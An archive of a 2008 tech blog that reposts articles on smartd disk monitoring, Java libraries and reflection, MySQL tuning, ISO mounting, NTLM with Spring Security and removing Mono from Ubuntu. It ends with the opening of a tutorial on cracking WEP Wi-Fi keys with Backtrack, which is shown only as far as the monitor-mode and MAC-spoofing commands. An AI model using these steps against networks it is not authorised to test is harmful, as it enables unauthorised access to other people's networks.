Thursday, December 11, 2008

Know when your drives are failing, with smartd

from linux journal by mike diehl

"Ka-chunk... ka-chunk... ka-chunk... tick... tick... tick... Ka-chunk... ka-chunk..." That's just not a sound you ever want to hear coming from a hard drive. It's the sound of a hard drive trying to move it's read/write heads into a position that they don't seem to want to go to or its trying to read a sector that just isn't there anymore. Of course, modern hard drives have come a long way and are amazingly reliable, but if you work with computers long enough, you're bound to have one fail on you.

I know that a lot has been written about smartd and I was hesitant to pile on even more, but let's just say, for now, that I write about what I know about, and that lately, I've come to know a lot about disk drive failures...

Running smartd on your servers and workstations is just like performing backups; its something you know you should be doing, but probably aren't, or at least not regularly. I'm hoping that this article will help convince you that now's the time to start.

SMART, or Self-Monitoring, Analysis, and Reporting Technology is a capability that's built into almost all modern IDE and SCSI disk drives that allows the drive controler to minitor it's own state of health. What that means is that a SMART-capable drive can give you a clue that its about to fail. All you have to do is listen for these clues, and that's where smartd comes in. Smartd is part of the smartmontools package and runs as a daemon on your system. Periodically, smartd will poll your installed hard drives and, essentally, "ask them" how their doing. Smartmontools supports ATA/ATAPI/SATA-3 to -8 disks and SCSI, so smartd should be usable across a wide range of drives.

Performing a basic smartd configuration is almost rediculously simple to do. Most of us are using Linux distributions that have some sort of package management feature, so installing smartmontools should be fairly simple since the suite has been packaged for all of the major distributions. Once installed, configuration is as easy as it gets. The tool, by default, will discover and scan all of the drives in your system, and the default configuration file seems reasonable. Most of the time, I don't even bother to make changes to the /etc/smartd.conf file. You only need to change the configuration file if you need smartd to handle ill-behaved hardware, or if you need it to perform specific, non-default, functions. Finally, you have to arrange for your system to start smartd as part of the system start-up process. This part depends on which distribution you use. On my Gentoo boxes, I use:

rc-update add smartd default and I'm done.

Now that the suite is installed, and the daemon is running, we should find the occational log entry in our syslog. Here's what I see when I restart smartd:

Dec 1 16:50:32 localhost smartd[6219]: smartd received signal 15: Terminated
Dec 1 16:50:32 localhost smartd[6219]: smartd is exiting (exit status 0)
Dec 1 16:50:33 localhost smartd[2549]: smartd version 5.38 [i686-pc-linux-gnu] Copyright (C) 2002-8 Bruce Allen
Dec 1 16:50:33 localhost smartd[2549]: Home page is http://smartmontools.sourceforge.net/
Dec 1 16:50:33 localhost smartd[2549]: Opened configuration file /etc/smartd.conf
Dec 1 16:50:33 localhost smartd[2549]: Drive: DEVICESCAN, implied '-a' Directive on line 23 of file /etc/smartd.conf
Dec 1 16:50:33 localhost smartd[2549]: Configuration file /etc/smartd.conf was parsed, found DEVICESCAN, scanning devices
Dec 1 16:50:33 localhost smartd[2549]: Problem creating device name scan list
Dec 1 16:50:33 localhost smartd[2549]: Device: /dev/hda, opened
Dec 1 16:50:33 localhost smartd[2549]: Device: /dev/hda, found in smartd database.
Dec 1 16:50:33 localhost smartd[2549]: Device: /dev/hda, is SMART capable. Adding to "monitor" list.
Dec 1 16:50:33 localhost smartd[2549]: Device: /dev/hdc, opened
Dec 1 16:50:33 localhost smartd[2549]: Device: /dev/hdc, packet devices [this device CD/DVD] not SMART capable
Dec 1 16:50:33 localhost smartd[2549]: Monitoring 1 ATA and 0 SCSI devices
Dec 1 16:50:33 localhost smartd[2573]: smartd has fork()ed into background mode. New PID=2573.
Dec 1 16:50:33 localhost smartd[2573]: file /var/run/smartd.pid written containing PID 2573

This is what a successful smartd start looks like. As you can see, my workstation only has one hard drive that is SMART-capable and a CD/DVD drive that isn't. As long as the daemon is running, we'll see log entries indicating if the health status of my drive changes.

But we don't always read our logs. That's OK, the smartmontools suite has a command-line tool that you can use interactively to find out how healthy your drives are. For example, we can use smartctl to find out what type of drive we have:

# smartctl -i /dev/hda
smartctl version 5.38 [i686-pc-linux-gnu] Copyright (C) 2002-8 Bruce Allen
Home page is http://smartmontools.sourceforge.net/

=== START OF INFORMATION SECTION ===
Model Family: Western Digital Caviar SE family
Device Model: WDC WD3200JB-00KFA0
Serial Number: WD-WCAMR3566562
Firmware Version: 08.05J08
User Capacity: 320,072,933,376 bytes
Device is: In smartctl database [for details use: -P show]
ATA Version is: 6
ATA Standard is: Exact ATA specification draft version not indicated
Local Time is: Mon Dec 1 16:57:28 2008 MST
SMART support is: Available - device has SMART capability.
SMART support is: Enabled

Of course, most of this isn't really interesting and only serves to expose just how old my system really is. (In the future, I'll strip out the heading information for further output) But we can also use smartctl to ask drive about it's general state of health:

# smartctl -H /dev/hda
=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED

At this point, though, we need to discuss what it means for the "overall-health self-assessment" to result in "PASSED." In practice, I'm finding, it doesn't really mean that much. What its telling you is that the IDE drive controller has detected problems. It does NOT mean that other problems don't exist, just that the IDE controller hasn't seen them yet. I got a passing result on a drive I knew to be bad. Still, this is a valuable check, because if the IDE controller has found a problem, you REALLY need to know about it.

A more thorough test result may be obtained by with the smartctl -t short /dev/hda command. As you might imagine, an even more thorough test result can be had by changing "short" to "long" in the command above. However, this command doesn't immediately return any results. It simply tells you to come back late and ask for the results:

# smartctl -t short /dev/hda
=== START OF OFFLINE IMMEDIATE AND SELF-TEST SECTION ===
Sending command: "Execute SMART Short self-test routine immediately in off-line mode".
Drive command "Execute SMART Short self-test routine immediately in off-line mode" successful.
Testing has begun.
Please wait 2 minutes for test to complete.
Test will complete after Mon Dec 1 17:15:50 2008

Use smartctl -X to abort test.

Well, after the test is complete, we can use the smartctl -l selftest /dev/hda command to see the results:

# smartctl -l selftest /dev/hda
=== START OF READ SMART DATA SECTION ===
SMART Self-test log structure revision number 1
Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error
# 1 Short offline Completed without error 00% 14942 -

Here is where you see that the drive in my workstation is doing just fine. But in the spirit of spreading the misery, let's take a look at a few drives I have that aren't doing so well.

Here is an ominous message that I found in the log file of my MythTV server:

Nov 27 04:12:51 media smartd[6884]: Device: /dev/hda, SMART Prefailure Attribute: 8 Seek_Time_Performance changed from 251 to 252

The neat thing about it all is that we use this server every day as a family and we've not noticed anything unusual. Still, the drive says it's about to fail. Guess what? We'll be replacing it soon. I'll probably duplicate the system and replace the drive in one operation and be back up in 30 minutes.

Here's another example. Two of the drives in my home fileserver are failing. I've backed them up and am waiting for the replacement drives to arrive. In the mean time, here is the result of the short selftest on one of them:

# smartctl -l selftest /dev/hdd
=== START OF READ SMART DATA SECTION ===
SMART Self-test log structure revision number 1
Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error
# 1 Short offline Completed: read failure 90% 23678 200910
# 2 Extended offline Completed: read failure 90% 23676 200910
# 3 Short offline Completed: read failure 90% 23676 200910

As it happends, these drive problems were announced via syslog some time before I ever noticed a problem. Take a look:

Nov 27 03:34:10 dominion smartd[30161]: Monitoring 4 ATA and 0 SCSI devices
Nov 27 03:34:11 dominion smartd[30161]: Device: /dev/hdc, 463 Currently unreadable (pending) sectors
Nov 27 03:34:11 dominion smartd[30161]: Device: /dev/hdc, 1210 Offline uncorrectable sectors
Nov 27 03:34:11 dominion smartd[30161]: Device: /dev/hdd, 1430 Currently unreadable (pending) sectors
Nov 27 03:34:11 dominion smartd[30161]: Device: /dev/hdd, 1429 Offline uncorrectable sectors

I've been watching the number of uncorrectable and unreadable sectors increase over the course of a month or so. And that's the point of this article. I knew my drives were failing long before they actually failed. A drive that has one or two bad sectors can be easily recovered or repaired. But this drive isn't going to last long. Because I was using smartd, and watching my logs, I was able to get my data backed up, consider my replacement options, and plan the replacement. The last thing I, or you, need, is to wake up one morning and find that an important server died during the night without warning.... Been there. Done that. Never want to do it again.

Wednesday, September 24, 2008

office stuff...

Try JibJab Sendables® eCards today!

Thursday, September 04, 2008

The Best Java Tools You Never Knew Existed

  • Apache Abdera - work easily with Atom feeds. See also Rome.
  • Antlr - this parser generator can look daunting, but it's pretty easy once you get your head around it. Can be used to parse things like complex URLs where regexps are not up to the job.
  • ApacheDS - Java LDAP and Kerberos server, very easy to embed and great for testing your directory code. Now under the Apache Directory project which has heaps of other good stuff.
  • ASM - small, efficient bytecode manipulation
  • CGLIB - built on ASM, it works at a higher level and makes the former look like Assembler by comparison. Only downside is that it's not well documented
  • JEXL - easily embeddable expression language, compares with OGNL
  • DisplayTag - JSP taglib for table formatting and exporting
  • EHCache - easy in-memory caching for everyone. Used this, it's awesome.
  • Janino - someone took the time to write an embeddable Java compiler! It lets you use Java like a scripting language, eg. allow your users to type Java expressions directly into your GUIs.
  • Jar Jar Links - allows you to overcome namespace/package clashes between different versions of libraries used by your product by repackaging them. Similar to the Minijar Maven plugin that approaches the problem slightly differently by removing unused classes. Can be used to resolve dependency issues (classpath hell).
  • jDBI - substitute for JDBC that doesn't suck when used directly
  • Jetty - web server/servlet container. Lightweight, yet lightning fast. Great for embedding, drives Grails.
  • Joda Time - date time library that kicks butt over java.util.Calendar. Intuitive (January is month 1!), easy to use and complete - everything that the java.util classes aren't. Can be used alongside Date and Calendar. Chances are that the JSR based on this will become a part of Java 7, but why wait when you can use it now!
  • JSON-lib - best Java JSON library out there. Has good documentation. See also Jaxen.
  • Commons Math - everything from linear algebra to statistics
  • Mock Javamail - mock test infrastructure for Javamail code. See also Dumpster, Smartster.
  • Not-Yet-Commons-SSL - Nice, easy to use Java wrapper over OpenSSL. Encryption for the masses!
  • Selenium - test your web app interaction! HTML/JS, browser-based test environment - JUnit starts playing with windows :).
  • Selenium IDE - the "IDE" part may be overstating things, but this Firefox plugin generates the basis of your test code for you. See also Canoo Webtest.
  • Selenium Maven plugin - self explanatory
  • Sitemesh - like Tiles, but non-intrusive and heaps better. It hasn't been updated for ages because it Just Works.
  • Smack - Java Jabber client
  • XStream - objects -> XML -> objects translation. I can't recommend this one enough, awesome one to have in the toolbox.
  • StringTemplate - like Velocity, but better.
  • Ivy - this Ant plugin means that dependency management is not just for Maven any more. I worked on a big project that used this and it worked a treat.
  • Subetha - a mailing list manager and embeddable mail server. See also James.
  • Scriptella - extract, transform and load (ETL) tool for Java.

Java Reflection: Private Fields and Methods

Despite the common belief it is actually possible to access private fields and methods of other classes via Java Reflection. It is not even that difficult. This can be very handy during unit testing. This text will show you how.

Note: This only works when running the code as a standalone Java application, like you do with unit tests and regular applications. If you try to do this inside a Java Applet, you will need to fiddle around with the SecurityManager. But, since that is not something you need to do very often, it is left out of this text so far.

Accessing Private Fields

To access a private field you will need to call the Class.getDeclaredField(String name) or Class.getDeclaredFields() method. The methods Class.getField(String name) and Class.getFields() methods only return public fields, so they won't work. Here is a simple example of a class with a private field, and below that the code to access that field via Java Reflection:

public class PrivateObject {

private String privateString = null;

public PrivateObject(String privateString) {
this.privateString = privateString;
}
}
PrivateObject privateObject = new PrivateObject("The Private Value");

Field privateStringField = PrivateObject.class.
getDeclaredField("privateString");

privateStringField.setAccessible(true);

String fieldValue = (String) privateStringField.get(privateObject);
System.out.println("fieldValue = " + fieldValue);

This code example will print out the text "fieldValue = The Private Value", which is the value of the private field privateString of the PrivateObject instance created at the beginning of the code sample.

Notice the use of the method PrivateObject.class.getDeclaredField("privateString"). It is this method call that returns the private field. This method only returns fields declared in that particular class, not fields declared in any superclasses.

Notice the line in bold too. By calling Field.setAcessible(true) you turn off the access checks for this particular Field instance, for reflection only. Now you can access it even if it is private, protected or package scope, even if the caller is not part of those scopes. You still can't access the field using normal code. The compiler won't allow it.


Accessing Private Methods

To access a private method you will need to call the Class.getDeclaredMethod(String name, Class[] parameterTypes) or Class.getDeclaredMethods() method. The methods Class.getMethod(String name, Class[] parameterTypes) and Class.getMethods() methods only return public methods, so they won't work. Here is a simple example of a class with a private method, and below that the code to access that method via Java Reflection:

public class PrivateObject {

private String privateString = null;

public PrivateObject(String privateString) {
this.privateString = privateString;
}

private String getPrivateString(){
return this.privateString;
}
}
PrivateObject privateObject = new PrivateObject("The Private Value");

Method privateStringMethod = PrivateObject.class.
getDeclaredMethod("getPrivateString", null);

privateStringMethod.setAccessible(true);

String returnValue = (String)
privateStringMethod.invoke(privateObject, null);

System.out.println("returnValue = " + returnValue);

This code example will print out the text "returnValue = The Private Value", which is the value returned by the method getPrivateString() when invoked on the PrivateObject instance created at the beginning of the code sample.

Notice the use of the method PrivateObject.class.getDeclaredMethod("privateString"). It is this method call that returns the private method. This method only returns methods declared in that particular class, not methods declared in any superclasses.

Notice the line in bold too. By calling Method.setAcessible(true) you turn off the access checks for this particular Method instance, for reflection only. Now you can access it even if it is private, protected or package scope, even if the caller is not part of those scopes. You still can't access the method using normal code. The compiler won't allow it.

Tuning MySQL Performance with MySQLTuner

MySQLTuner is a Perl script that analyzes your MySQL performance and, based on the statistics it gathers, gives recommendations which variables you should adjust in order to increase performance. That way, you can tune your my.cnf file to tease out the last bit of performance from your MySQL server and make it work more efficiently.

You can download the MySQLTuner script as follows:

wget http://mysqltuner.com/mysqltuner.pl

In order to run it, we must make it executable:

chmod +x mysqltuner.pl

Afterwards, we can run it. You need your MySQL root password for it:

./mysqltuner.pl

server1:~# ./mysqltuner.pl

 >>  MySQLTuner 0.9.8 - Major Hayden <major@mhtx.net>
 >>  Bug reports, feature requests, and downloads at http://mysqltuner.com/
 >>  Run with '--help' for additional options and output filtering
Please enter your MySQL administrative login:
 <-- root
Please enter your MySQL administrative password: <-- yourrootsqlpassword

-------- General Statistics --------------------------------------------------
[--] Skipped version check for MySQLTuner script
[!!] Your MySQL version 4.1.11-Debian_etch1-log is EOL software!  Upgrade soon!
[OK] Operating on 32-bit architecture with less than 2GB RAM

-------- Storage Engine Statistics -------------------------------------------
[--] Status: +Archive -BDB -Federated +InnoDB +ISAM -NDBCluster
[--] Data in MyISAM tables: 301M (Tables: 2074)
[--] Data in HEAP tables: 379K (Tables: 9)
[!!] InnoDB is enabled but isn't being used
[!!] ISAM is enabled but isn't being used
[!!] Total fragmented tables: 215

-------- Performance Metrics -------------------------------------------------
[--] Up for: 12d 18h 33m 30s (1B q [1K qps], 185K conn, TX: 3B, RX: 377M)
[--] Reads / Writes: 78% / 22%
[--] Total buffers: 2.6M per thread and 58.0M global
[OK] Maximum possible memory usage: 320.5M (20% of installed RAM)
[OK] Slow queries: 0% (17/1B)
[OK] Highest usage of available connections: 32% (32/100)
[OK] Key buffer size / total MyISAM indexes: 16.0M/72.3M
[OK] Key buffer hit rate: 99.9%
[OK] Query cache efficiency: 99.9%
[!!] Query cache prunes per day: 47549
[OK] Sorts requiring temporary tables: 0%
[!!] Temporary tables created on disk: 28%
[OK] Thread cache hit rate: 99%
[!!] Table cache hit rate: 0%
[OK] Open file limit used: 12%
[OK] Table locks acquired immediately: 99%
[!!] Connections aborted: 20%

-------- Recommendations -----------------------------------------------------
General recommendations:
    Add skip-innodb to MySQL configuration to disable InnoDB
    Add skip-isam to MySQL configuration to disable ISAM
    Run OPTIMIZE TABLE to defragment tables for better performance
    Enable the slow query log to troubleshoot bad queries
    When making adjustments, make tmp_table_size/max_heap_table_size equal
    Reduce your SELECT DISTINCT queries without LIMIT clauses
    Increase table_cache gradually to avoid file descriptor limits
    Your applications are not closing MySQL connections properly
Variables to adjust:
    query_cache_size (> 16M)
    tmp_table_size (> 32M)
    max_heap_table_size (> 16M)
    table_cache (> 64)

server1:~#

You should carefully read the output, especially the recommendations at the end. It shows exactly which variables you should adjust in the [mysqld] section of your my.cnf (on Debian and Ubuntu the full path is /etc/mysql/my.cnf). Whenever you change your my.cnf, make sure that you restart MySQL. You can then run MySQLTuner again to see if it has further recommendations to improve the MySQL performance. This way, you can optimize MySQL step by step.

Furius ISO Mount - Mount and Unmount ISO images with GUI Tool in Ubuntu Linux

An ISO, IMG, BIN, MDF and NRG Image management utility for the Gnome Desktop Environment.


Furius ISO Mount Features

  • Automatically Mounts ISO, IMG, BIN, MDF and NRG Image Files.
  • Automatically creates a mount point in your home directory.
  • Automatically Unmounts the Image files.
  • Automatically removes the mount directory to return your home directory to its previous state.
  • Automatically saves the history of the last 10 images mounted.
  • Mounts multiple images.
  • Burn ISO and IMG Files to optical disk.
  • Generate Md5 and SHA1 checksums.
  • Automatically retrieves any previously unmounted images.
  • Automatically generates a log file of all commands needed to mount and unmount images manually.

Install Furius ISO Mount in Ubuntu

First you need to download .deb package from here

http://www.marcus-furius.com/files/FuriusIsoMount/furiusisomount_0.9.0.0-1_i386.deb using the following command

wget http://www.marcus-furius.com/files/FuriusIsoMount/furiusisomount_0.9.0.0-1_i386.deb

Now you have .deb package you need to install this using the following command

sudo dpkg -i furiusisomount_0.9.0.0-1_i386.deb

This will install all the required packages for Furius ISO Mount.

Using Furius ISO Mount

If you want to open Furius ISO Mount go to Applications—>Sound & Video—>Furis ISO Mount

Once it opens you should see similar to the following screen

Now you need to select your .iso file by clicking on Browse

You need to click on Mount to mount you .iso file you can see sample mount point

If you want to unmount .iso file select your mount point and click on unmount

Tuesday, September 02, 2008

NTLM with Spring Security 2.0

from http://blog.mediasoft.be/?p=1

A lot of users are having trouble when dealing with NTLM based authentication with Spring Security. The underlying NTLM support is built on top of JCIFS (jcifs.samba.org), an open source client library that implements the CIFS/SMB networking protocol in Java.

NTLM authentication allows the login credentials of a Windows user, who is logged on into a domain, to be automatically passed to your browser.
NTLM is a Microsoft-developed protocol providing single sign-on capabilities to web applications. It allows a web server to automatically discover the username of a browser client when that client is logged into a Windows domain and is using an NTLM-aware browser. A web application can then reuse the user's Windows credentials without having to ask for them again.

This only works for Internet Explorer. When using Firefox, you will be prompted with an authentication prompt where you can enter your username and password. You can enable NTLM authentication also in Firefox, by doing the following steps:

  • Type "about:config" in the address bar of Firefox
  • You will see all settings of Firefox, but you need to find the key "network.automatic-ntlm-auth.trusted-uris".
  • Enter the hostnames like: "host1.domain.com, host2.domain.com"
    or just ".domain.com" to list them all at once

Once you have setup your project with the correct dependencies and libraries, we are ready to start configuring our application context. You need spring-security-core and spring-security-ntlm as project dependencies in order to get it working.


NOTE: It is better to separate your application context files into multiple files, in order to focus the configuration on the core parts of your system.

First we will add the NTLM filter itself:

  1. <bean id="ntlmFilter" class="org.springframework.security.ui.ntlm.NtlmProcessingFilter">  
  2. <property name="stripDomain" value="true"/>  
  3. <property name="defaultDomain" value="domain.mediasoft.be"/>  
  4. <property name="netbiosWINS" value="domain"/>  
  5. <property name="authenticationManager" ref="providerManager"/>  
  6. </bean>  

The value of the default domain should be the hostname of the SMB server that will be used to authenticate HTTP clients. It is preferred though, to use a WINS server over a specific domain controller.

Next, we add an Exception Translation Filter and pass it the entry point

  1. <bean id="exceptionTranslationFilter"  
  2. class="org.springframework.security.ui.ExceptionTranslationFilter">  
  3. <property name="authenticationEntryPoint" ref="ntlmEntryPoint"/>  
  4. </bean>  

We also need an entry point for our NTLM filter, define it like this:

  1. <bean id="ntlmEntryPoint"  
  2. class="org.springframework.security.ui.ntlm.NtlmProcessingFilterEntryPoint">  
  3. <property name="authenticationFailureUrl" value="/access_denied.jsp"/>  
  4. </bean>  

Our filter security intercepter can be defined as follows:

A filter security interceptor needs to be in place to perform security handling of HTTP resources:

  1. <bean id="filterSecurityInterceptor"  
  2. class="org.springframework.security.intercept.web.FilterSecurityInterceptor">  
  3. <property name="authenticationManager" ref="providerManager"/>  
  4. <property name="accessDecisionManager" ref="accessDecisionManager"</property>  
  5. <property name="objectDefinitionSource">  
  6. <value>  
  7. CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON  
  8. PATTERN_TYPE_APACHE_ANT  
  9. /access_denied.jsp=ROLE_ANONYMOUS  
  10. /**=ROLE_USER  
  11. </value>  
  12. </property>  
  13. </bean>  

As referenced in the above code block, we need to specify a provider manager to specify our authorization managers:

  1. <bean id="providerManager"  
  2. class="org.springframework.security.providers.ProviderManager">  
  3. <property name="providers">  
  4. <list> <ref bean="daoAuthenticationProvider"/> </list>  
  5. </property>  
  6. </bean>  

In this example, we will simply use an in-memory userservice to perform the lookup of the actual users allowed to this application. I just provided two test users in this usecase.

  1. <bean id="daoAuthenticationProvider"  
  2. class="be.mediasoft.spring.security.UserDetailsAuthenticationProvider">  
  3. <property name="userDetailsService">  
  4. <ref local="memoryUserDetailsService"/>  
  5. </property>  
  6. </bean>  
  7.   
  8. <bean id="memoryUserDetailsService"  
  9. class="org.springframework.security.userdetails.memory.InMemoryDaoImpl">  
  10. <property name="userMap">  
  11. <value>  
  12. fox=PASSWORD,ROLE_USER  
  13. administrator=PASSWORD,ROLE_ADMIN  
  14. </value>  
  15. </property>  
  16. </bean>  

We also need to specify an access decision mechanism. In this case we will just use the plain unanimous voting mechanism:

We'll just use an UnanimousBased decision manager that requires all voters to abstain or grant access

  1. <bean id="accessDecisionManager"  
  2. class="org.springframework.security.vote.UnanimousBased">  
  3. <property name="allowIfAllAbstainDecisions" value="false"/>  
  4. <property name="decisionVoters">  
  5. <list> <bean id="roleVoter" class"org.springframework.security.vote.RoleVoter"/> </list>  
  6. </property>  
  7. </bean>  

Configuring web.xml
When your context configuration is complete, we can now add the following filter declaration to our web.xml file:

  1. <filter>  
  2. <filter-name>_filterChainProxy</filter-name>  
  3. <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>  
  4. </filter>  
  5.   
  6. <filter-mapping>  
  7. <filter-name>_filterChainProxy</filter-name>  
  8. <url-pattern>/*</url-pattern>  
  9. </filter-mapping>  

This provides a hook into the Spring Security web infrastructure.

Virtual filter chain
We need to apply all defined filters in a virtual filter chain, so that they can be applied automatically to the requests in the right order.

  1. <bean id="filterSecurityInterceptor"  
  2. class="org.springframework.security.intercept.web.FilterSecurityInterceptor">  
  3. <property name="authenticationManager" ref="providerManager"/>  
  4. <property name="accessDecisionManager"><ref local="accessDecisionManager"/></property>  
  5. <property name="objectDefinitionSource">  
  6. <value>  
  7. CONVERT_URL_TO_LOWERCASE_BEFORE_COMPARISON  
  8. PATTERN_TYPE_APACHE_ANT  
  9. /access_denied.jsp=ROLE_ANONYMOUS  
  10. /**=ROLE_USER  
  11. </value>  
  12. </property>  
  13. </bean>  

Mind the order of these entries as the NTLM filter needs to be defined after the exception translation filter as this filter is based on exceptions to do NTLM handshaking etc.

Our http session context integration filter is defined as follows:

  1. <bean id="httpSessionContextIntegrationFilter"  
  2. class="org.springframework.security.context.HttpSessionContextIntegrationFilter">  
  3. <property name="contextClass" value="org.springframework.security.context.SecurityContextImpl"/>  
  4. </bean>  

The custom user details provider is implemented as follows:

  1. public class UserDetailsAuthenticationProvider extends AbstractUserDetailsAuthenticationProvider {  
  2. private UserDetailsService userDetailsService;  
  3. protected UserDetails retrieveUser(String username, UsernamePasswordAuthenticationToken authentication) throws AuthenticationException {  
  4. UserDetails loadedUser;  
  5. try {  
  6. loadedUser = this.getUserDetailsService().loadUserByUsername(username);  
  7. catch (DataAccessException repositoryProblem) {  
  8. throw new AuthenticationServiceException(repositoryProblem.getMessage(), repositoryProblem);  
  9. }  
  10. if (loadedUser == nullthrow new AuthenticationServiceException("User cannot be null");  
  11. return loadedUser;  
  12. }  
  13. public UserDetailsService getUserDetailsService() {  
  14. return userDetailsService;  
  15. }  
  16. public void setUserDetailsService(UserDetailsService userDetailsService) {  
  17. this.userDetailsService = userDetailsService;  
  18. }  
  19. }  

TO BE COMPLETED: Spring 2.0 configuration

  1. <security:authentication-manager alias="_authenticationManager"/>  
  2.   
  3. <security:authentication-provider>  
  4. <security:user-service>  
  5. <security:user name="fox" password="PASSWORD" authorities="ROLE_USER, ROLE_ADMIN"/>  
  6. <security:user name="administrator" password="PASSWORD" authorities="ROLE_USER,ROLE_ADMIN"/>  
  7. </security:user-service>  
  8. </security:authentication-provider>  
  9.   
  10. <bean id="userDetailsAuthenticationProvider"  
  11. class="be.mediasoft.spring.security.UserDetailsAuthenticationProvider">  
  12. <security:custom-authentication-provider/>  
  13. </bean>  
  14.   
  15. <bean id="ntlmEntryPoint" class="org.springframework.security.ui.ntlm.NtlmProcessingFilterEntryPoint">  
  16. <property name="authenticationFailureUrl" value="/access_denied.jsp"/>  
  17. </bean>  
  18.   
  19. <bean id="ntlmFilter" class="org.springframework.security.ui.ntlm.NtlmProcessingFilter">  
  20. <security:custom-filter position="NTLM_FILTER"/>  
  21. <property name="stripDomain" value="true"/>  
  22. <property name="defaultDomain" value="domain.mediasoft.be"/>  
  23. <property name="netbiosWINS" value="domain"/>  
  24. <property name="authenticationManager" ref="_authenticationManager"/>  
  25. </bean>  
  26.   
  27. <bean id="exceptionTranslationFilter" class="org.springframework.security.ui.ExceptionTranslationFilter">  
  28. <property name="authenticationEntryPoint" ref="ntlmEntryPoint"/>  
  29. </bean>  
  30.   
  31. <security:http access-decision-manager-ref="accessDecisionManager" entry-point-ref="ntlmEntryPoint">  
  32. <security:intercept-url pattern="/access_denied.jsp" filters="none"/>  
  33. <security:intercept-url pattern="/**" access="ROLE_USER"/>  
  34. </security:http>  
  35.   
  36. <bean id="accessDecisionManager" class="org.springframework.security.vote.UnanimousBased">  
  37. <property name="allowIfAllAbstainDecisions" value="false"/>  
  38. <property name="decisionVoters">  
  39. <list>  
  40. <bean id="roleVoter" class="org.springframework.security.vote.RoleVoter"/>  
  41. </list>  
  42. </property>  
  43. </bean> 

How to remove Mono (M$) from Ubuntu Hardy Heron

I have had a long-time problem with Mono and the Mono-based applications that, for reasons I do not understand, come installed by default with Ubuntu.

For those who don't know about it, Mono:

provides the necessary software to develop and run .NET client and server applications on Linux, Solaris, Mac OS X, Windows, and Unix.

That sounds pretty innocuous on the face of it. But Mono has a potentially fatal sting-in-the-tail for some, and leaves a rather nasty taste in the mouths of many others…

The potential sting is because Mono is developed and supported largely by Novell who are, as we all know so well, in a patent-protection deal with Microsoft. This caused a huge storm when they signed the deal - basically because it gave some "credence" to Ballmer's "Linux/OSS breaches 235+ patents" line. So, it's O.K. for Novell to do stuff that implements helps M$'s stuff because they have "protection" from being sued [yeah right - who really believes that one!]. But what about everyone else???

The nasty taste which has always 'ever-so-slightly' tainted my use of Ubuntu is that Mono is there only to support applications written in languages and for platforms which are basically Microsoft's. It encourages software development using systems that are based on technologies almost certainly encumbered by a whole raft of M$ patents. To my mind, there are many great non M$ languages and architectures out there which are almost part-and-parcel of Linux programming and I see no need to bring .NET, ASP or even Visual Basic to my desktop. If I want to write an application, I could use PHP, Python, PERL, C, C++, Java and, of course, many others. Why do I need to endorse and encourage the proliferation of non-free software by relying on M$'s IP and the smell of their stinky patents?

Well, I figured I don't. So, I thought I'd see what happened if I removed Mono from Ubuntu.

As a test I typed the following (but I didn't accept the Y/n question before doing some further research):

sudo apt-get remove --purge mono-common

The following packages will be REMOVED
banshee f-spot libart2.0-cil libavahi1.0-cil libboo2.0-cil libflickrnet2.1.5-cil libgconf2.0-cil libglade2.0-cil
libglib2.0-cil libgmime2.2-cil libgnome-vfs2.0-cil libgnome2.0-cil libgtk2.0-cil libgtkhtml3.16-cil
libmono-addins-gui0.2-cil libmono-addins0.2-cil libmono-cairo1.0-cil libmono-cairo2.0-cil libmono-corlib1.0-cil
libmono-corlib2.0-cil libmono-data-tds1.0-cil libmono-data-tds2.0-cil libmono-security1.0-cil libmono-security2.0-cil
libmono-sharpzip0.84-cil libmono-sharpzip2.84-cil libmono-sqlite2.0-cil libmono-system-data1.0-cil
libmono-system-data2.0-cil libmono-system-web1.0-cil libmono-system-web2.0-cil libmono-system1.0-cil libmono-system2.0-cil
libmono-zeroconf1.0-cil libmono1.0-cil libmono2.0-cil libndesk-dbus-glib1.0-cil libndesk-dbus1.0-cil libtaglib2.0-cil
mono-common mono-gac mono-jit mono-runtime tomboy

This lot removes just three applications from Ubuntu 8.04: Tomboy, F-Spot and Banshee. And they aren't exactly desktop behemoths either.

The long list of libraries and things that just might break something else looked pretty scary to simply accept without question. So I built a quick Ubuntu Hardy 8.04 VM using Virtualbox and tried it in there first. It seemed to be fine. Nothing else I tried broke. I rebooted the VM and tried loading several applications and it all worked as expected.

So here we go then; to get rid of Mono, Tomboy, Banshee and F-Spot, simply type the following.

sudo apt-get remove --purge mono-common libmono0

(The --purge switch removes the old packages from the package manager's cache so you actually get the disk space freed up too)

Now I must confess to having used Tomboy in the past. But after a bit of research some time ago I found what I think is actually a better alternative called Zim. It is basically a desktop Wiki application:

Zim is a WYSIWYG text editor written in Gtk2-Perl which aims to bring the concept of a wiki to your desktop. Every page is saved as a text file with wiki markup. Pages can contain links to other pages, and are saved automatically. Creating a new page is as easy as linking to a non-existing page. Pages are ordered in a hierarchical structure that gives it the look and feel of an outliner. This tool is intended to keep track of TODO lists or to serve as a personal scratch book.

I have been using Zim for several months now and am very happy with it.

F-Spot is easily replaced by gthumb which, for me at least, does exactly the same thing: it gets photos from my camera.

I never used Banshee after looking at the UI once. I found Rhythmbox much more obvious and easy to use, and it is already installed as well.

So, to replace the 44 packages (and 3 apps) above with non-encumbered alternatives, simply type:

sudo apt-get install gthumb zim

Of course please check your own system before blindly following my instructions. I checked carefully before removing Mono to make sure nothing was going to break. I would recommend you do the same, and, of course, back up your Tomboy notes first ;-)

Tutorial: Cracking WEP Using Backtrack 3

This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key. I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the WIFI Chipset in those machines work for sure.

Requirements:

I will assume that you have downloaded and booted into Backtrack 3. If you haven't figured that part out, you probably shouldn't be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:

Preparing The WIFI Card

First we must enable "Monitor Mode" on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:

modprobe -r iwl3945

modprobe ipwraw
The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:

iwconfig
Take note of your wireless adapter's interface name. Then stop the adapter by issuing:

airmon-ng stop [device]
Then:

ifconfig down [interface]
Now we must change the MAC address of the adapter:

macchanger --mac 00:11:22:33:44:66 [device]
